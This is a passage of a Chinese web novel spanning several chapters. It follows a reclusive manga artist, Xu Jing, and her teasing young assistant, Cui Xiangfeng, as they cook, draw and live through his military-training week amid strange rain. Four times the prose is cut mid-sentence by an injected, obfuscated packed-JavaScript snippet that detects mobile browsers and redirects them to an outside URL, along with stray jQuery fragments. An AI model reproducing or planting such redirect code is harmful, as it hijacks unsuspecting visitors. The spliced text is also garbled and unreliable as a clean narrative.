她装模作样点点头,帽子上的兔耳朵随着动作微微蹦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094005|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跶,有种一本正经的冷萌感。
“炒西红柿时可以放适量盐……”
?
某人原汁原味复述了一遍。
“加入一小勺水……”
?某人大脑红温。
她兴味盎然,话头转了个弯:“其实我都知道了。”
知道什么?
一瞬间乱七八糟的事全涌了出来,他的脸由红转白,宕机了。
他怎么就暴露了?
他暴露到什么程度了?
“这是叫私生粉吧……”
?
赖在她家,这样黏着她,正常粉丝再热切也不会如此冒犯——可这一切前提是,他看过她的漫画。
小崔漫画才刚看了个头。
他松了口气:“你不如说我是您私生子。”
大脑刚转了一趟过山车,他小嘴叭叭:“助理不是你选的?我工作不积极吗?我不贴心吗——”
“……像我这么尽责,我还怀疑你图谋我——”
“图谋你什么,简历你自己传的。”
“什么都图谋,不然你为什么选我。”
她歪了歪头:“因为你住得近,方便说话。”
是他给的理由。
“真的就只是这样吗?”崔相逢蓦地抬眸,对上她的目光。
她的眼睫轻轻往下,盯着地面某一处:“你是第一个,刚好合适,后面就懒得看了。”
他装作恍然大悟:“这么巧啊,那我运气真好,毕竟我技术一般,这种好事不用靠关系走后门就轮到了……”
他又像试探。
他们的进度确实诡异。
可再怎么说,这种进度都是经过她默许的。许鲸如果别有目的,那么在他决定租房的时候,他就已经上套了。
他都没注意许鲸又递给了他一口碗。
许鲸瞥了一眼,他没接,自己默不作声放好了,又拿起最后一个。
她打断了他的喋喋不休:“公寓密码是六个一。”
?“怎么还把房间密码告诉我?”嗅到关键信息,他立马切换成狗狗眼模式。
“你不开心吗?”她嘴角勾起一个很小的弧度。
“还是你更喜欢费尽心机找接近我的借口?”
“我只是担心……”
“……”
“我也设置密码告诉你吧……”
许鲸:“好像是你来找我的概率更大。”
“……”
确实。
“洗完了。”
她放下最后一口碗,擦了擦手,转身要出去。
“姐姐。”
他长手一伸,揪住了她的帽子:“我是不是应该叫你姐姐?”
那只手刚刚好拽住兔耳,帽子卸下一半,长发披散直下。
周身显得更冷了。
她侧过头,眼神微眯,不知是不是要炸毛。
小崔笑容笑得更大——
“还是——叫你妹妹?”
“你多大啊。”
他得寸进尺,拽着兔耳朵甩了甩。
手感怪好,软乎乎的。
只是他的手湿漉漉的,帽子沾上水,脏得不能穿了。
咦?
许鲸的手握上他的腕。
他的视角能看见那几根精致的指节。她的手没有帽子软,骨头生硬。
突然,一个用力,崔相逢的手就被拽了下来。
往前一个趔趄,差点跌倒。
他试着挣扎了一下,居然没挣脱。
被擒住了。
许鲸只是平静地看了他一眼,然后拿起纸巾,覆上他的手,将他的手细致地擦了擦,从掌心,手背,再到手指头。
……有点痒。
声音还是冷冷的,语气却温和:“下次洗完手,要记得擦干。”
小崔的逆反心被勾起:“就不擦。”
嘎嘣。
他听到了疑似手部关节错位的声响。
小崔当即认怂,咬牙哀求:“姐姐……”
语气不像之前般轻佻,反倒有种小心的,依赖般的讨好。
许鲸怔了一下,没有再加重力气。
——但还是很疼。
她耐心地擦完他一只手,又强硬地去擦另一只,擦的过程极尽温柔。
指腹传来的温度凉凉的。
终于,她观摩着她的成果,说:“我比你大两岁,确实是该叫姐姐。”
“许鲸。”小崔又叫起了她的名字。
她抬眼,对上他的目光。
“我……只是有点在乎你。”
5. 漫画大触(4)
他别开眼,却恰巧暴露了烧红的耳根。
这就是他对先前怪异行为的所有解释。
莫名其妙,也意有所指。
许鲸放松了力道。
她没有多问。
他觉得自己可以挣脱出来。
她的拇指缓缓摩挲着动脉的位置,仿佛是想通过血液的跳动,来探测他是否说谎。
小崔往后退了一步,束缚倏地收紧。
他故作疑惑:“你是想占我便宜吗?我还是小处男哦。”
许鲸难得嗤笑一声,甩开他的手。
“脑瓜子里一天到晚想什么。”
小崔扬唇,虎牙尖得可爱。
这天以后,许鲸对他的态度明显温和了很多,却不是朝着他想要的方向。
小崔知道了密码,却没怎么进她家。
两个人作息完全相反,他从未在她休息时拜访她。
微信上多是他掐着点先斩后奏的订单截图。
她的门口开始经常出现某家米其林餐厅的外卖。
许鲸给他开的工资就三千,全被他搭了进去,甚至还倒贴。
从前的她和今天没什么两样,只是日复一日趴在工作台前。
绮丽画面的屏幕将她包裹,正中间的大屏是她的主角。
像是供奉台,又如同色彩囚笼。
她的视线停留在桌上那块小小方方的东西,这小玩意是她与外界沟通的唯一工具。
许鲸咬着糖,有一搭没一搭地转着手中的笔,思绪放空——她似有所觉停下了,笔尖停在画面某处。
屏幕上绮丽的色彩逐渐扭曲成了马赛克,所有颜色都被迫一起搅拌,渐渐融成毛骨悚然的黑——
崔相逢这段时间在家里潜心研究菜谱。
素菜已经做得他自己能入口,他开始挑战高难度的鱼。
锅已经热了,鱼也葱姜蒜腌好,然后——放进去煎。
他不甚熟练地把鱼提溜进铲子,然后又借用铲子给它放下锅,本该是快大功告成了,只等给鱼翻面,谁知,鱼突然蹦跶了一下。
诶?
小崔刚开始还以为自己眼花,谁知,鱼蹦哒得越来越欢了。
甚至有几粒油星子溅了出来。
还没死?
他赶紧去拿锅盖,鱼突然猛得一个跃起,要蹦到他脑袋,他立马后退,下意识闭眼,抬手遮挡,冥冥中似乎听到一阵锐利的破空声——
它摔到了地上,尸体一分两半。
崔相逢只是袖子上沾了点油星。
好险。
但是——
小崔蹲下身,仔细观察起了鱼的裂缝处——脊骨断了,裂口非常光滑,不拖泥带水,连鱼肉切面都光得干脆利落,没有一点藕断丝连,不像是摔断的,反倒像是被锋利的刀刃,熟稔而迅速地,劈开的。
许鲸在平台上发布了新一话,同时,崔相逢把刚完成的下一话文件发给她。
她这次没有打出那个敷衍的评价,而是选择点开文件。
……
“嘭!”
卧室门外有重物坠地,并且传来一阵痛苦哀嚎。
他来了。
许鲸走出卧室,就看见崔相逢跌倒在一大堆向日葵花中,视线对上的罪魁祸首是——扫地机器人。
小崔面无表情拽起旁边一朵花砸机器人的头上,机器人兴奋地转了个圈儿,把掉落的花瓣吃了进去。
死机器人在他抱着的花的时候卡他视野使绊子。
许鲸走到他身后。
听到脚步声,一个毛茸茸脑袋从满地向日葵花中探了出来,表情懵逼:“诶,你忙完了?”
她想了想:“嗯。”
“我吵到你了吧。”
许鲸:“叫得是挺大声。”
机器人极人性化地滴溜溜躲到了许鲸身后。
“抱这么多花?”
“买多了,往你家匀匀。”
实则是找个借口在她家溜达溜达。
……好久没来,找找存在感。
他爬起来拾掇起地面上的向日葵,又抬头:“我可以拉开窗帘吗?”
“你随意。”
反正她的主要活动范围在卧室。
窗帘一拉开,外面暖黄的光便透进来——已经是傍晚了。
他的发丝被光线梳得分明,毛茸茸的。
花与人身上都浮着一层碎金的光。
许鲸被自然光线刺得眯了一下眼。
窗外的太阳像个下坠的橙子,如果咬一口的话,味道应该像她今天的橙子味泡泡糖。
小崔还想手贱打开一小扇窗,刚开了个缝,灼热的暖风便将他脑袋揉成一团,热得一批。
他赶紧把窗关上。
屋子里终于有股暖洋洋的人气。
尽管屋内的温度像是在冰窖。
许鲸靠在沙发上,围观小崔忙上忙下。
窗边、阳台、餐桌,还有各个角落,最后一束向日葵摆在她身前的茶几。
“对了,还有一个。”
他不知从哪掏出一个白瓷小花瓶,里面种着一株巴掌大小的向日葵,
“这个放你卧室吧。”
他额头出来细密的汗。
许鲸避开他的手接过,拿起端详了一会儿,口中的糖吹出个向日葵色的泡泡。
噗。
很快就破了。
这家伙,嘴里就离不开糖。
崔相逢暗暗吐槽。
“好看。”她补充,“谢谢。”
她把花瓶暂时先放在茶几上。
“那……我先走了。”
“等等。”许鲸罕见地挽留他。
崔相逢回头。
“你把平板带过来。”
原来是让他干活。
“行。”
然后过了差不多半小时才到。
不止平板,还有他的小毯子。
他换了一件白色短袖,头发微湿。身后紧跟着扫地机器人。
小崔熟练地铺好毯子,坐在他该坐的位置。
他身上一股很明显的薄荷沐浴露味道。
刚洗过澡。
许鲸的脚垂在他身侧,两只手倚着沙发,低头垂眸,几缕头发从睡衣内滑出来,紧挨着他袖口边缘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094006|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
小崔只要低头,就能看见她藏在毛绒拖鞋中的苍白脚踝。
很瘦,颜色比衣服还白。
“画吧。”
她点开的是小崔今天刚发的文件。
靠太近了,他反而放不开,只能强迫自己集中注意。
“线条还要再软一点。”
她一说话,小崔的线条就抖一下。
她眼神专注,声音很轻,呼出的气却软:“你原先的线条太僵。”
小崔:嗯嗯。
“这样可以吗?”
他偏了偏头,递给她看。
她皱眉,伸出手:“给我。”
小崔压了压唇,将手轻轻放她手上。
许鲸:“……”
崔相逢立马识相地把笔放上去。
许鲸接过他手中的笔,尽量放慢速度,给他作了个范画。
她的线稿几乎是一笔而就的,速度是他的好几倍。
许鲸对线条的运用明显比他灵活。
他觉得他在许鲸身边其实就是充当个吉祥物。
说来……最新一话貌似并没有他的名字。
“这样画的,懂吗?”
她甚至还切了红色,圈出他原本不足的地方。
“嗯……我试试。”
毛茸茸的脑袋随着她视线的变换一直动来动去。
许鲸盯着他头顶的发旋,心里突然起了要按住的冲动。
她将手抬了起来,却只是停在他脑袋上的几寸处。
抚摸?还是拍?
哪种更“慈爱”?
她在纠结。
“怎么?”小崔察觉了她的小动作,故意将脑袋向上顶了顶,头上的几根呆毛刚好挠到她掌心。
“我头发洗过了。”他眼睛眨呀眨,亮亮的,仿佛在说:想摸就摸呀。
“……嗯。”
许鲸将手放下,轻轻地,在他的脑袋上揉了揉。
湿湿的。超软。
他甚至往她掌心蹭了蹭。
很讨好。
某个隐秘的地方似乎对这种掌控生出了几分欢喜。
但,这样,是可以的吗?
她有点疑惑。
“这条画得怎么样。”
崔相逢将平板抬起来给她看。
“……还行。”
她凑近了一点,将身体压得更低,宽大的领口能看见锁骨,凉凉的头发刮过他的手臂,抬眼便是她的耳。
耳朵很白。
许鲸朝向他的那侧腮帮子鼓鼓的,雪白色,有一下没一下地随着咀嚼起伏,唇像是覆了糖霜,呼吸是甜的,热的。
“橙子味的。”他不禁开口。
许鲸闻声,从睡袍的兜里拿出了一颗:“这个。”
尝尝?
她眼神示意。
小崔就着她的手,撕开透明的糖纸包装,她不明所以。
剔透的橙色糖果滚落到她掌心。
他将包装壳扔进了垃圾桶,
然后低头,埋进她的手掌,舌尖轻轻掠过她的肌肤,留下一股若有似无的热气。
许鲸皱起了眉。
6. 漫画大触(5)
她的五指条件反射地勾起,勾住了他的下巴——
仿佛在给他挠痒。
小崔茫然地从她掌心抬起。
她的手僵住了。
直觉告诉她,好、像、有、点、不、太、对。
小崔侧了侧下巴,下巴蹭了蹭她光滑的指尖,目光落在她细瘦的腕上,轻声:“好瘦。”
白色的皮裹着白色的骨,青色血脉隐隐可见。
但不得不说,看起来也很可口。
不一会儿,冰冰凉凉的手指从他的下巴挪到了他的额头。
他视线顺着她的手指往上转,提溜提溜的,像小狗瞥见了骨头。
指尖蜻蜓点水般压了一下他的眉心,他的脸被迫后仰,喉结分明,下巴在手上的位置确是一点都不肯挪。
就像是——黏住了。
许鲸“啧”了一声,敲了下他的脑袋。
“啊!好痛~”
真的不会鼓包吗?
“坐回去。”
他双手抱头,揉着脑袋,嘴角往下撇。
不情不愿。
她皱眉,又琢磨了一下用词:“乖。”
这下回去了。
像哄小孩。
可是,离得更近了。
他的位置只是稍稍挪了一挪,便几乎是靠着她的小腿,脑袋只需稍稍一歪,刚好能枕到膝盖。
“这些草稿你是不是早就完成了啊。”他蓦地问出这句话。
“你看过了?”
“已经看完了。”他似乎想起什么,“挺有意思,但我更好奇网上那些传言……”
他期冀地看向她。
《魇之都》的主要角色,是一只人首蛇身的怪物,被人叫魇女。
魇女诞生于人间欲望凝成的沼泽,食恶为生。
她喜欢在睡梦中放大人的阴暗面,诱导犯罪。
在魇女的视角,每个人类身上都生长着一颗苹果,当青涩的果子变成烂熟的红色,魇女就会将它摘下,一口吃掉。
那个果子也叫恶果。
欲望越大,果子的味道便越鲜美。
恶果被收割的人现实中活不了多久,总会因为各种意外被迫死亡,死法千奇百怪。
《魇之都》出名的另一个原因,便是他的故事很多能在现实中找到原型。
比如,这座公寓附近就有一所专门关押重刑犯的监狱。
漫画出版的第一年,那所监狱内的犯人就因为各种意外死亡,由于死亡率过高,有次就上了热搜,成功引起众人关注。
那次一天内死了十五个犯人,死法和漫画里某个案件一模一样,连罪名都能一一对上,然后,就被眼尖的网友发现了。
幸好漫画出得更早,也幸好,只是意外。
当年的热搜给她未来成名路开辟了第一步。
有二次元玩梗道,说不定,是魇女穿进三次元,饿得把他们给吃了。
说来,最近几年囚犯死亡率高了以后,连带着犯罪率也低了不少。
“你真的能预言吗?”他的眼睛亮亮的,看起来很乖,眼里充满好奇,让人经不住想满足他的所有愿望。
许鲸垂睫:“能吧。”
小崔疑惑:“什么叫‘吧’?”
“比如——”她略略沉思,“不吃饭就会饿。”
小崔:“……”
“不算吗?”她的表情呆呆的,好像是认真的。
但是,不吃饭确实会饿,这是有因果关系的。
就像,人犯了错,就要受罚。
小崔打了个喷嚏。
许鲸默默往旁边挪了挪,离他更远了。
死洁癖连个小喷嚏都嫌弃。
“你睡衣呢?”她问。
“没干。”他下意识追着热源,跟着许鲸挪,又靠上了她的小腿。他裸露在外的皮肤已经起了小疙瘩。
虽然是夏天,但在许鲸家穿短袖,不亚于冬天裸奔。
“回去穿衣服。”
“不回,画完再说。”他又补充,“而且冬天的衣服就那一套。”
大夏天的谁会专门带冬天的东西。
当然,要是早点让他知道许鲸爱住冰窖,他说不定把他家的大棉袄都带过来。
许鲸对他的速度心知肚明,但是要让她把空调温度调高的话——这种影响她生活舒适度的行为她是不可能会做的。
她微微起身,某人便立马反应:“你要走吗?”
两根手指在轻轻扯她的袖子。
她抬了抬手,很轻松地挣开:“给你拿件衣服。”
卧室开了一个缝,小崔往里看,只能大概看见床上屏幕发出来的色光。
不多时,一件同款睡袍被扔到了沙发上。
“穿。”
“要还吗?”
“不用。”
许鲸这种死宅,就算衣柜里全部是睡衣也再正常不过,毕竟这些天小崔就没见过她出门。
他都怀疑她是不是没有常服。
许鲸的个挺高,目测有一米七,再加上这种睡袍本来就宽松,所以她的衣服小崔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094007|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勉强还是能穿上,就是小腿露得有点多,腿毛微凉。
他将帽子也罩上,兔耳朵时不时拽吧拽吧,狠狠过了一把瘾。
不过有些东西还是在别人身上更让人眼馋。
他蹦了蹦看向许鲸,低头,道:
“姐姐真好。”
故意将前两个字夹得很甜。
许鲸不为所动。
见没反应,对方一瞬间就泄了气。
她打开刚才出来时顺手拿的一本漫画分镜教学书,窝在沙发上打发时间。
小崔原本还想凑上前看几眼,见内容无聊,不是自己喜欢的类型,又悻悻低回了头。
许鲸喜欢在床上画画,在监督小崔的过程中,她更乐意让自己学点什么……
垃圾桶里的糖纸不知不觉又多了好几张。
时间即将到晚上十点,某人支了个懒腰。
“什么时候可以加上我的名字——”小崔半跪着靠着沙发,软软的脸皮子在沙发上摊成了个五官立体的小饼,身体蜷成了个球,眼神示意平板,“这样可以吗?”
实话是菜就多练,但说出口的却是:“还行。”
她本来还想多说几句,可某人的睡意早就按耐不住了,眼睛半阖着,在许鲸下一句话琢磨好之前,他半个身子已经趴沙发上,睡了。
刚好依偎在她腿边。
时间,刚过十点。
她拉了拉他的帽檐,没动静。
然后,拍了拍他的脸。
富家子从小被娇生惯养,这张没怎么受过摧残的脸蛋软得出奇,她不由得多停了一会儿。脸是温热的,热量从表皮不断渗透到指尖。
他的体温要比她高。
她沿着脸颊触到他的鼻子,然后是眉毛,眼睛。
她用同样的顺序在自己的脸上描摹了一遍。
“像吗?”
她不解。
指尖上的眼睫动了动,刮得指腹痒痒的。
许鲸想从沙发上下来,却发现睡袍的一角刚好被他的脑袋压住,对方均匀的呼吸撒在绵绵的羊毛绒上,安定得岁月静好。
心脏在说:不要吵醒他。
许鲸便只是轻轻抽开了。
她将翻开的书页盖上他的脸,客厅的温度终于调高了那么几度,关灯,在即将回到卧室的时候,她想起了白瓷瓶中的向日葵。
她将它放在了工作台前。
许鲸剖开糖纸,咬下一颗糖,点开了屏幕画面。
向日葵巴掌大的脸一直朝向她,一直……向着她。
7. 漫画大触(6)
八月底军训,日头毒得能把人炼成人干。
军训十四天,天气预报上显示未来半个月都是大晴天——小崔突然有点喜欢许鲸家的冰窟了。
冷了还能多穿,热了总不能脱皮,到时候天天在外面晒太阳,身上都是汗臭,许鲸那个洁癖怪包要嫌弃。
想了想,他打算先和许鲸请个假,哪怕勾线的工作目前对双方来说都是可有可无。
“两周后见。”
他就这样贸然打出四个字,很好奇许鲸的反应。
许鲸很直白:“理由。”
连个关心都没有,公式刻板得像机器人。
小崔撇了撇嘴:“军训。”
这么久。
许鲸在搜索页输入了大学军训四个字,页面出现了许多求雨符。
“你要是开窗的话,说不定还能听到几万个人在外面嚎。”他没记错的话,许鲸那个方向刚好可以看见学校的建筑。
发完,他自己也去开了一小半窗。
本来打算先适应一下温度,结果热风一涌,他立马又给关上。
早遭罪不如晚遭罪。
不给自己找罪受。
“你也在里面嚎?”
“你听得见就在。”
许鲸沉吟了一会儿,发出去三个字:“晚上呢?”有没有空。
“九点半结束。”
小崔顺带一提:“你不会想见到我的。”
真的吗?
自然醒是六点,学校正好六点集合,小崔为了不迟到专门定了个五点半的闹钟。
出发前,他用了半罐防晒霜,给全身上下都抹了厚厚一层。
但是没啥用。
回来的时候,小白脸成了小黑脸。
只有牙和眼白是白的。
这其中的摧残都不用多说。
他没想到,不过是几个动作的重复性训练,就能把一个人的精神和身体击溃。
路过许鲸的门口,他下意识将帽檐压了压,她却恰好开门。
幸好他是背对着。
他加快脚步往自己房间走。
“过来。”
他停住了:“不要。”
嗓子沙沙的,显然是今天喊哑的。
听得许鲸皱眉。
“为什么。”
少年别扭地开口:“臭。”
许鲸往门内退了几步,继续道:“转过身,让我看看。”
小崔纠结了一会儿,难得扭捏:“那你不准嫌弃我。”
“嗯。”
“也不准说我臭。”
“嗯。”
“更不能说我丑。”
“嗯。”
“说话算话!”他语气明显欢快了起来,又确定了一遍。
“说话算话。”
小崔先试探地扭过头,目光躲闪了几下,然后才转过身,朝她走近了一小步,还是忍不住别过脸:“看吧看吧,没什么好看的……”
他这张脸被晒得不是单纯的黑,属于黑红,晒伤了。
脸太嫩,帽檐挡不住的皮肤起了红血丝,脖子更严重,军训服本来就粗糙,领口与脖颈的相接处摩擦,擦出了深红的痕,有的地方甚至破了皮,尤其是突出的锁骨。
可以想象,每次大动作,他的脖子都会被磨得刺啦疼。
今晚洗澡都有得熬。
“一天就晒伤这么严重了。”
“没招。”
防晒霜涂得再厚,也经不住烤。
他悲观地想:“下次你见我说不定就是一滩肉泥了。”
但不知想到什么,他的神色又得意起来:“今天班里倒了三个人,我居然还没倒。”
厉害吧——
像在求夸。
“下雨就可以结束吗?”许鲸的目光一直停在他脖颈处的伤口,若有所思。
“不知道诶,不过站着淋雨都比晒太阳好。”
她微微点了点头,起伏很小,几不可见。
“公寓里的医疗箱有治晒伤的药膏,你可以找找。”
话闭,就给小崔吃了个闭门羹。
小崔小小地气了一下:召之即来挥之即去,当什么……
第二天,他照常去军训。
医疗箱提供的晒伤膏很奏效,他涂抹完,睡了一觉伤口就好了不少。
小崔拣了几个白的创口贴,盖住了锁骨处的擦伤,有了一层东西隔着,领子也不怎么能磨到皮肤。
可惜脸皮太薄,抵抗不住大太阳一点。
他觉得整张脸都在烧。
下午一点半,差不多是一天中最热的时间。
所有人都集合在操场上练军姿,总教官站在主席台挥斥方遒。
教官的嗓门又粗又哑又敞亮,每次崔相逢觉得自己要扛不住的时候,下一秒就会被大嗓门闹醒。
提神醒脑。
就是再不换姿势他的腿要僵了。
一个立正的姿势进行了半小时,每个人的脸上都大汗淋漓。
在所有人都没注意的时候,天空默不作声地送来了一片云,刚好在小崔上方。他所在的地方变成了一块阴地。
慢慢地,随着时间的推移,云越聚越多,不少人察觉到了,偷偷往上瞄,此时的天空与往日的晴空万里大相径庭。
天气预报有误,今天明明是晴转多云。
被罩在阴影下的同学开始暗爽。
接下来谁也没想到,天上竟飘起了雨丝。
阴天已经够奢侈了,谁还敢奢望能碰到雨。
一滴……两滴……起先无人在意,都以为是汗给的错觉,直到雨丝变得绵绵,台下的众人按耐不住发出了疑问——“雨?”此起彼伏。
好像下雨了。
小崔下意识仰了仰头,雨丝织成的细网铺在他脸上,清清凉凉。
操场上突然响起清亮一声:“教官!下雨了!”
一石激起千层浪,伴随而来的是无数附和声。
教官打开双手,作安抚状,慷慨激昂:“同学们,屁大点的雨算什么!今天!我就让大家看看,什么叫阳光总在风雨后!”
“让各位老师校长们看看!大家的决心!大家的毅力!”
方才喜悦的嗡鸣声瞬间沉默,取而代之的是各种扫兴的语气词。
可事情的发展总是出乎意料,雨势越来越大,丝毫没有停歇的样子,雨珠子直直地打下来,砸得人脸上生疼。
同学们又开始期冀。
教官:“同学们!咱们继续训练!我们的宗旨就是——风雨无阻!”
然后,刮起了一股邪风,雨珠子被风撺掇得打人杂乱无章,老师们早就去躲雨了,操场上的学生闭起了眼,防止雨水刮到眼睛里。
风越来越大。
教官越来越兴奋:“同学们!让暴风雨来得更猛——”猛烈的强风裹挟着雨水直直灌入他的嗓喉,他被噎得说不出话,帽子差点被掀飞。
坚强的教官不信邪,还想要张嘴再说什么,可刚出口,声音就被逼回了嗓子眼里。
那一刹那,台下的帽子翻飞,同学们各自在追各自的帽子,场面失控。
一个帽子可是五十块钱呢。
教官捂着脑袋拉着帽子,憋足了好大一口气,才迎风咆哮出三个字:“体育馆!”
震耳欲聋。
风骤然停了。
雨也由大转中。
教官还想说什么,远处林木汹涌,乌云压城,似乎蠢蠢欲动,他又把本来的话憋了回去。
算了算了。
他咳咳了几声:“下雨了,同学们!我们去体育馆。”
台下显然欢快了起来。
崔相逢在这场风雨中帽子都没怎么被吹偏,跟着人流前往体育馆的时候,只隐隐听到身边几个同学乐呵呵说:
“我就知道我的求雨符有用。”
这场雨一直下到晚上九点半。
这场雨被学生们直夸“好雨”,毕竟“好雨知时节”。
经历这天军训的每个人都心情舒畅。
小崔也不例外。
下午淋湿的军训服到了晚上就自然风干,他回去的时候经过许鲸门口,故意停了好久,心里隐隐期待她会像昨天一样出现。
但是并没有。
他的好心情有那么一点失落。
崔相逢伸出手,想要敲门,门没开,他信任的敲门定律也就此失效。
他决定不打扰了,衣服虽然干了但再怎么说也是脏的,洁癖怪肯定不喜欢。
洗漱完回卧室,小崔打开微信,琢磨了一下——
“今天下雨了,好耶。”
他趴在枕头上,盯着界面,想看看对方什么时候回。
等了好久,久到他以为睡前看不到回复了,终于,他见到她的正在输入中:
“嗯。”
他满足了。
一连下了五天雨,天气预报被确诊崩坏,小崔都随身带上了雨伞,奇怪的是,他在上学和回家的路上,从来没有碰到一滴雨。
周末放了一天假,这几天一直没和许鲸联系,小崔订了一大堆花。
向日葵新鲜期不长,往常他都是五天一换,现在是第七天,许鲸家的怕是都蔫了。
漫画软件提醒他,许鲸又更了一章。
罕见地恢复周更。
不过依然没有他的名字,可是他不在了许鲸就周更,倒像是他给她拖后腿了……
他敲了敲门,没人给他开。
他头一次输上这个门的密码。
熟练地踢了一脚扫地机器人,他开了窗帘,轻车熟路地换了向日葵。
崔相逢很喜欢傍晚的景色,落日的色彩照得人心都暖暖的。
这个时间点换作平时,许鲸肯定已经醒了。
但是很少见得,他进屋了,许鲸却还没出来。
小崔顺便帮她处理了垃圾,又回自己房间洗了个澡,换上她给的睡衣,重新进了她家。
笨蛋机器人在撞许鲸的卧室门。
在卧室吗?
“许鲸。”
没人回应。
他换了个叫法:
“姐姐。”
还是没人。
许鲸平时大门不出,还能去哪里?
他重重地敲了敲门,整个屋子因为太过冷清,产生了回音。
一片死寂。
睡太死了?还是真的死了?
后者怎么样都不可能吧……
敲门没用,要是直接开门——再怎么说也是卧室,他对别人的卧室有那么一点边界感。
但最终还是按上门把手。
在他按上的一瞬间,门把手开始缓慢转动,不过幸好,这股力量不是来源于他。
终于有了动静。
他悬着的心终于落下。
门开了。
他的心又提了起来。
许鲸的脸色比初见时更惨白,黑眼圈沉了几个度,她虚弱得仿佛连开门的力气都没有,只打开了个缝,见人是他,才倚着门框,用身体的重量将门开得更大。
整个人都乱,头发乱糟糟地披着,一侧睡衣领口从肩上滑下去了都没察觉。
她的肩膀很瘦,再瘦下去快撑不起衣服了。
小崔第一次见她这么丧乱的样子——他甚至觉得她快要变透明了。
“你怎么了?”
崔相逢记得,他每天都有叫人给她送吃的,她是怎么被越喂越瘦的?
难道都被笨蛋机器人吃了?
许鲸眯了眯眼睛,定定地观察了一眼他锁骨上的创口贴,目光穿过他的身侧,扫了一眼周围新换上的向日葵,她想要往前,走出了一步,身体颤了一下,便站不稳,整个身体直直地倾倒,一头磕上他的胸膛。
“喂——”小崔手足无措。
许鲸却仿佛整个人都卸下力气,就这么抵在他身前,闭着眼睛,像在小憩。
要不是能听到她的呼吸,他都要怀疑她这一嘎嘣就没了。
但是——呼吸也孱弱得要死,只能说还算稳定。
他不敢乱动手动脚,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094008|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是轻轻地勾住她的领口,“嗒”,那滑落的一侧被拉了回去。
不小心碰到皮肤,凉凉的。
到底——怎么了。
怎么几天没见就虚成这样?
“要不要去医院?”
“不用。”
她的声音闷闷的,有股很重的疲惫感,她的眼睛一直睁着,只是很呆滞。
胸膛的重量减轻了,她像是什么都没发生一样,缓慢地绕过小崔,从茶几上抓了一把糖,旁若无人地塞进口腔。
小崔觉得她整个人都是虚浮的。
“你吃饭了吗?”
“吃了。”
“脸色好恐怖。”
“多恐怖。”
“像女鬼。”
她默默不语。
小崔觉得她要是有力气的话就应该对他翻个白眼。
她的瞳孔只是呆呆地看着前方某处。
身体似乎随着糖的咀嚼,有了血色。
小崔站在了她的视线前,躬身,对上她的眼睛:“我觉得你有必要和我说明一下情况。”
过了一会儿,她乌黑的瞳仁终于动了一动,说出的话让人哭笑不得:“你在外面嚎得太响了,吵到我睡觉。”
小崔笑了:“睡不着建议关窗。”
心里暗暗腹诽:这么多人光听他一个人嚎了是吧。
许鲸也笑了,她微笑的弧度只是眼睛弯了弯,苍白的脸便有了活色:“开心吗?”
小崔愣了一下:“就今天不怎么开心。”
“前几天呢?”
“前几天都下雨,当然开心。”他又饶有兴致地与她提起,“我们学校有人用求雨符,没想到真求来了。”
“你也想试?”
“封建迷信,我才不信。”
“倒也未必。”
说完这几句她又开始沉默,仿佛用完了力气,开始调养生息,但嘴角的弧度比往常要高。
小崔试探性得靠近沙发,许鲸察觉到他的小动作,却没怎么抗拒。
小崔终于坐上了沙发,他大着胆子又靠近了许鲸一点。
她倚着沙发,回到了放空的状态。
许鲸今天的反应似乎格外迟钝。
看起来格外好欺负。
小崔盯着她鼓鼓的腮帮子,有点手痒。
她有一下没一下地嚼着糖,重复着将泡泡吹起又咬破的程序——这个机械性的动作似乎成了她的一个解压方式。
小崔突然出声:
“姐姐。”
许鲸回头。
某人蓄谋已久的手指戳向了她的泡泡。
泡泡破了。
但他的手指也被咬住了。
许鲸的动作几乎是条件反射,她的下一个程序指令本来就是——“咬”。
只是咬的东西恰巧被置换成了另一个。
砰!
不知是谁的心跳先漏掉一拍——
崔相逢与她的眸子对视,他恍惚望见了深渊尽头暗涌的涟漪。
他的手指想抽身,却抽不出来了。
